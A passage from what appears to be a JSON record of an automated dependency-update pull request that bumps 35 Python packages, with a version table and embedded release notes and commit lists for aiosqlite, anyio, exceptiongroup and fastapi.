andit"},{"name":"black","old_version":"25.11.0","new_version":"25.12.0","repository_url":"https://github.com/psf/black"},{"name":"cfgv","old_version":"3.4.0","new_version":"3.5.0","repository_url":"https://github.com/asottile/cfgv"},{"name":"coverage","old_version":"7.12.0","new_version":"7.13.0"},{"name":"marshmallow","old_version":"4.1.0","new_version":"4.1.1","repository_url":"https://github.com/marshmallow-code/marshmallow"},{"name":"mypy","old_version":"1.18.2","new_version":"1.19.0","repository_url":"https://github.com/python/mypy"},{"name":"packageurl-python","old_version":"0.17.5","new_version":"0.17.6","repository_url":"https://github.com/package-url/packageurl-python"},{"name":"pip-audit","old_version":"2.9.0","new_version":"2.10.0","repository_url":"https://github.com/pypa/pip-audit"},{"name":"platformdirs","old_version":"4.5.0","new_version":"4.5.1","repository_url":"https://github.com/tox-dev/platformdirs"},{"name":"pylint","old_version":"4.0.3","new_version":"4.0.4","repository_url":"https://github.com/pylint-dev/pylint"},{"name":"pymdown-extensions","old_version":"10.17.1","new_version":"10.19","repository_url":"https://github.com/facelessuser/pymdown-extensions"},{"name":"pytest-asyncio","old_version":"0.24.0","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"safety-schemas","old_version":"0.0.16","new_version":"0.0.17","repository_url":"https://github.com/pyupio/safety_schemas"},{"name":"stevedore","old_version":"5.5.0","new_version":"5.6.0"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 35 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [anyio](https://github.com/agronholm/anyio) | `4.11.0` | `4.12.0` |\n| [exceptiongroup](https://github.com/agronholm/exceptiongroup) | `1.3.0` | `1.3.1` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.121.2` | `0.124.2` |\n| [fsspec[http]](https://github.com/fsspec/filesystem_spec) | `2025.10.0` | `2025.12.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `5.49.1` | `5.50.0` |\n| [gradio-client](https://github.com/gradio-app/gradio) | `1.13.3` | `1.14.0` |\n| [huggingface-hub](https://github.com/huggingface/huggingface_hub) | `1.1.4` | `1.2.2` |\n| [hypothesis](https://github.com/HypothesisWorks/hypothesis) | `6.148.1` | `6.148.7` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [openai](https://github.com/openai/openai-python) | `2.8.1` | `2.11.0` |\n| [orjson](https://github.com/ijl/orjson) | `3.11.4` | `3.11.5` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.20.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.11.10` | `2.12.5` |\n| [pydantic-core](https://github.com/pydantic/pydantic-core) | `2.33.2` | `2.41.5` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [rpds-py](https://github.com/crate-py/rpds) | `0.29.0` | `0.30.0` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.14.5` | `0.14.8` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [urllib3](https://github.com/urllib3/urllib3) | `2.6.0` | `2.6.2` |\n| [bandit](https://github.com/PyCQA/bandit) | `1.9.1` | `1.9.2` |\n| [black](https://github.com/psf/black) | `25.11.0` | `25.12.0` |\n| [cfgv](https://github.com/asottile/cfgv) | `3.4.0` | `3.5.0` |\n| [coverage[toml]](https://github.com/coveragepy/coveragepy) | `7.12.0` | `7.13.0` |\n| [marshmallow](https://github.com/marshmallow-code/marshmallow) | `4.1.0` | `4.1.1` |\n| [mypy](https://github.com/python/mypy) | `1.18.2` | `1.19.0` |\n| [packageurl-python](https://github.com/package-url/packageurl-python) | `0.17.5` | `0.17.6` |\n| [pip-audit](https://github.com/pypa/pip-audit) | `2.9.0` | `2.10.0` |\n| [platformdirs](https://github.com/tox-dev/platformdirs) | `4.5.0` | `4.5.1` |\n| [pylint](https://github.com/pylint-dev/pylint) | `4.0.3` | `4.0.4` |\n| [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) | `10.17.1` | `10.19` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.24.0` | `0.26.0` |\n| [safety-schemas](https://github.com/pyupio/safety_schemas) | `0.0.16` | `0.0.17` |\n| [stevedore](https://docs.openstack.org/stevedore) | `5.5.0` | `5.6.0` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `anyio` from 4.11.0 to 4.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/anyio/releases\"\u003eanyio's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.12.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for asyncio's \u003ca href=\"https://docs.python.org/3/library/asyncio-graph.html\"\u003etask call graphs\u003c/a\u003e on Python 3.14 and later when using AnyIO's task groups (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1025\"\u003e#1025\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded an asynchronous implementation of the \u003ccode\u003efunctools\u003c/code\u003e module (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1001\"\u003e#1001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for \u003ccode\u003euvloop=True\u003c/code\u003e on Windows via the \u003ca href=\"https://github.com/Vizonex/Winloop\"\u003ewinloop\u003c/a\u003e implementation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/960\"\u003e#960\u003c/a\u003e; PR by \u003ca href=\"https://github.com/Vizonex\"\u003e\u003ccode\u003e@​Vizonex\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for use as a context manager to \u003ccode\u003eanyio.lowlevel.RunVar\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1003\"\u003e#1003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003e__all__\u003c/code\u003e declarations to public submodules (\u003ccode\u003eanyio.lowlevel\u003c/code\u003e etc.) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1009\"\u003e#1009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded the ability to set the token count of a \u003ccode\u003eCapacityLimiter\u003c/code\u003e to zero (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1019\"\u003e#1019\u003c/a\u003e; requires Python 3.10 or later when using Trio)\u003c/li\u003e\n\u003cli\u003eAdded parameters \u003ccode\u003ecase_sensitive\u003c/code\u003e and \u003ccode\u003erecurse_symlinks\u003c/code\u003e along with support for path-like objects to \u003ccode\u003eanyio.Path.glob()\u003c/code\u003e and \u003ccode\u003eanyio.Path.rglob()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1033\"\u003e#1033\u003c/a\u003e; PR by \u003ca href=\"https://github.com/northisup\"\u003e\u003ccode\u003e@​northisup\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDropped \u003ccode\u003esniffio\u003c/code\u003e as a direct dependency and added the \u003ccode\u003eget_available_backends()\u003c/code\u003e function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1021\"\u003e#1021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not raising \u003ccode\u003eClosedResourceError\u003c/code\u003e and \u003ccode\u003eBrokenResourceError\u003c/code\u003e on asyncio. Previously, a non-AnyIO exception was raised in such cases (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/671\"\u003e#671\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not checkpointing before writing data on asyncio (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1002\"\u003e#1002\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a race condition where cancelling a \u003ccode\u003eFuture\u003c/code\u003e from \u003ccode\u003eBlockingPortal.start_task_soon()\u003c/code\u003e would sometimes not cancel the async function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1011\"\u003e#1011\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed the presence of the pytest plugin causing breakage with older versions of pytest (\u0026lt;= 6.1.2) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1028\"\u003e#1028\u003c/a\u003e; PR by \u003ca href=\"https://github.com/saper\"\u003e\u003ccode\u003e@​saper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a rarely occurring \u003ccode\u003eRuntimeError: Set changed size during iteration\u003c/code\u003e while shutting down the process pool when using the asyncio backend (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/985\"\u003e#985\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/bc021b634291223d6829c0a689152173443a8545\"\u003e\u003ccode\u003ebc021b6\u003c/code\u003e\u003c/a\u003e Fixed the download-artifact settings to retain the expected behavior\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/c6000aa2837f75733f3c09c454f5a31eb9f9f536\"\u003e\u003ccode\u003ec6000aa\u003c/code\u003e\u003c/a\u003e Corrected the format of the version in the changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9d1bfe0da4261bcef3c10cd31218237805a89937\"\u003e\u003ccode\u003e9d1bfe0\u003c/code\u003e\u003c/a\u003e Bumped up the version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/77f7ce25e12c9becf5081105a47b1914e50a3e0a\"\u003e\u003ccode\u003e77f7ce2\u003c/code\u003e\u003c/a\u003e Fixed RuntimeError while shutting down the asyncio process pool (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1039\"\u003e#1039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/aecc666e6b3b40f977ee715d141bdd89711b45cb\"\u003e\u003ccode\u003eaecc666\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1036\"\u003e#1036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/e5569adf98394dfabebccf215a04d05d7819b506\"\u003e\u003ccode\u003ee5569ad\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 in the github-actions group (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1037\"\u003e#1037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/dde3ab8583cb194e663f6fb87703a4a79e2701eb\"\u003e\u003ccode\u003edde3ab8\u003c/code\u003e\u003c/a\u003e Moved a changelog entry to its correct position\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/250d4f183245bf7ee5ead0ff39d521cda2b8d617\"\u003e\u003ccode\u003e250d4f1\u003c/code\u003e\u003c/a\u003e Restore compatibility with pytest\u0026lt;=6.1.2 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1030\"\u003e#1030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/3708e227838e2f51464900cf806b25c30ca458a7\"\u003e\u003ccode\u003e3708e22\u003c/code\u003e\u003c/a\u003e Fixed a typo in the documentation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1035\"\u003e#1035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9adbe08c55e725b0388dcc4ab7556875da881a4c\"\u003e\u003ccode\u003e9adbe08\u003c/code\u003e\u003c/a\u003e Add new params to Path.glob \u0026amp; Path.rglob introduced since 3.12 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1034\"\u003e#1034\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/agronholm/anyio/compare/4.11.0...4.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `exceptiongroup` from 1.3.0 to 1.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/releases\"\u003eexceptiongroup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e when formatting unpickled TBEs from another Python process which did not apply the \u003ccode\u003eexceptiongroup\u003c/code\u003e patches (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/144\"\u003e#144\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/blob/main/CHANGES.rst\"\u003eexceptiongroup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eVersion history\u003c/h1\u003e\n\u003cp\u003eThis library adheres to \u003ccode\u003eSemantic Versioning 2.0 \u0026lt;http://semver.org/\u0026gt;\u003c/code\u003e_.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e\nwhen formatting unpickled TBEs from another Python process which did not apply the\n\u003ccode\u003eexceptiongroup\u003c/code\u003e patches\n(\u003ccode\u003e[#144](https://github.com/agronholm/exceptiongroup/issues/144) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/144\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e**kwargs\u003c/code\u003e to function and method signatures as appropriate to match the\nsignatures in the standard library\u003c/li\u003e\n\u003cli\u003eIn line with the stdlib typings in typeshed, updated \u003ccode\u003e(Base)ExceptionGroup\u003c/code\u003e generic\ntypes to define defaults for their generic arguments (defaulting to\n\u003ccode\u003eBaseExceptionGroup[BaseException]\u003c/code\u003e and \u003ccode\u003eExceptionGroup[Exception]\u003c/code\u003e)\n(PR by \u003ca href=\"https://github.com/mikenerone\"\u003e\u003ccode\u003e@​mikenerone\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged \u003ccode\u003eBaseExceptionGroup.__init__()\u003c/code\u003e to directly call\n\u003ccode\u003eBaseException.__init__()\u003c/code\u003e instead of the superclass \u003ccode\u003e__init__()\u003c/code\u003e in order to\nemulate the CPython behavior (broken or not) (PR by \u003ca href=\"https://github.com/cfbolz\"\u003e\u003ccode\u003e@​cfbolz\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged the \u003ccode\u003eexceptions\u003c/code\u003e attribute to always return the same tuple of exceptions,\ncreated from the original exceptions sequence passed to \u003ccode\u003eBaseExceptionGroup\u003c/code\u003e to\nmatch CPython behavior\n(\u003ccode\u003e[#143](https://github.com/agronholm/exceptiongroup/issues/143) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/143\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.2\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved an \u003ccode\u003eassert\u003c/code\u003e in \u003ccode\u003eexceptiongroup._formatting\u003c/code\u003e that caused compatibility\nissues with Sentry (\u003ccode\u003e[#123](https://github.com/agronholm/exceptiongroup/issues/123) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/123\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated the copying of \u003ccode\u003e__notes__\u003c/code\u003e to match CPython behavior (PR by CF Bolz-Tereick)\u003c/li\u003e\n\u003cli\u003eCorrected the type annotation of the exception handler callback to accept a\n\u003ccode\u003eBaseExceptionGroup\u003c/code\u003e instead of \u003ccode\u003eBaseException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFixed type errors on Python \u0026lt; 3.10 and the type annotation of \u003ccode\u003esuppress()\u003c/code\u003e\n(PR by John Litborn)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded special monkeypatching if \u003ccode\u003eApport \u0026lt;https://github.com/canonical/apport\u0026gt;\u003c/code\u003e_ has\noverridden \u003ccode\u003esys.excepthook\u003c/code\u003e so it will format exception groups correctly\n(PR by John Litborn)\u003c/li\u003e\n\u003cli\u003eAdded a backport of \u003ccode\u003econtextlib.suppress()\u003c/code\u003e from Python 3.12.1 which also handles\nsuppressing exceptions inside exception groups\u003c/li\u003e\n\u003cli\u003eFixed bare \u003ccode\u003eraise\u003c/code\u003e in a handler reraising the original naked exception rather than\nan exception group which is what is raised when you do a \u003ccode\u003eraise\u003c/code\u003e in an \u003ccode\u003eexcept*\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ddddb6fdf8582c4ae5187dc1bd258115974229fe\"\u003e\u003ccode\u003eddddb6f\u003c/code\u003e\u003c/a\u003e Added the release version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/49c5e60d9efad1416f4f42455e119375904a1d6d\"\u003e\u003ccode\u003e49c5e60\u003c/code\u003e\u003c/a\u003e Fixed AttributeError when formatting unpickled TBEs from an unpatched process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/1be517f553249822a8fa12a4d7520d4b3ef15acd\"\u003e\u003ccode\u003e1be517f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/152\"\u003e#152\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/af0ea2fdfe218a4c2a1cb31ebd1a61dba459af6f\"\u003e\u003ccode\u003eaf0ea2f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/149\"\u003e#149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/7c980a88a06a72db3d796d98504b335d24274abb\"\u003e\u003ccode\u003e7c980a8\u003c/code\u003e\u003c/a\u003e Removed pin on pyright version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ef853368c8b94479adbd33cc58f1cac05839e116\"\u003e\u003ccode\u003eef85336\u003c/code\u003e\u003c/a\u003e Fixed typing job not finding Python 3.14\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/080b3f4e925bbdb8cee70cc30c5ef2937eab2bde\"\u003e\u003ccode\u003e080b3f4\u003c/code\u003e\u003c/a\u003e Pinned pyright version to fix typeshed related failure\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ac660908a1987880eddbb249947c1eef6e08513b\"\u003e\u003ccode\u003eac66090\u003c/code\u003e\u003c/a\u003e Added Python 3.14 to the test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/a0da94dadfb39c0b52c0cd5c87ace166b00f74c1\"\u003e\u003ccode\u003ea0da94d\u003c/code\u003e\u003c/a\u003e Fixed test failures on Python 3.14\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/agronholm/exceptiongroup/compare/1.3.0...1.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.121.2 to 0.124.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.124.2\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix support for \u003ccode\u003eif TYPE_CHECKING\u003c/code\u003e,  non-evaluated stringified annotations. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14485\"\u003e#14485\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.124.1\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix handling arbitrary types when using \u003ccode\u003earbitrary_types_allowed=True\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14482\"\u003e#14482\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Add variants for code examples in \u0026quot;Advanced User Guide\u0026quot;. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14413\"\u003e#14413\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e📝 Update tech stack in project generation docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14472\"\u003e#14472\u003c/a\u003e by \u003ca href=\"https://github.com/alejsdev\"\u003e\u003ccode\u003e@​alejsdev\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✅ Add test for Pydantic v2, dataclasses, UUID, and \u003ccode\u003e__annotations__\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14477\"\u003e#14477\u003c/a\u003e by \u003ca 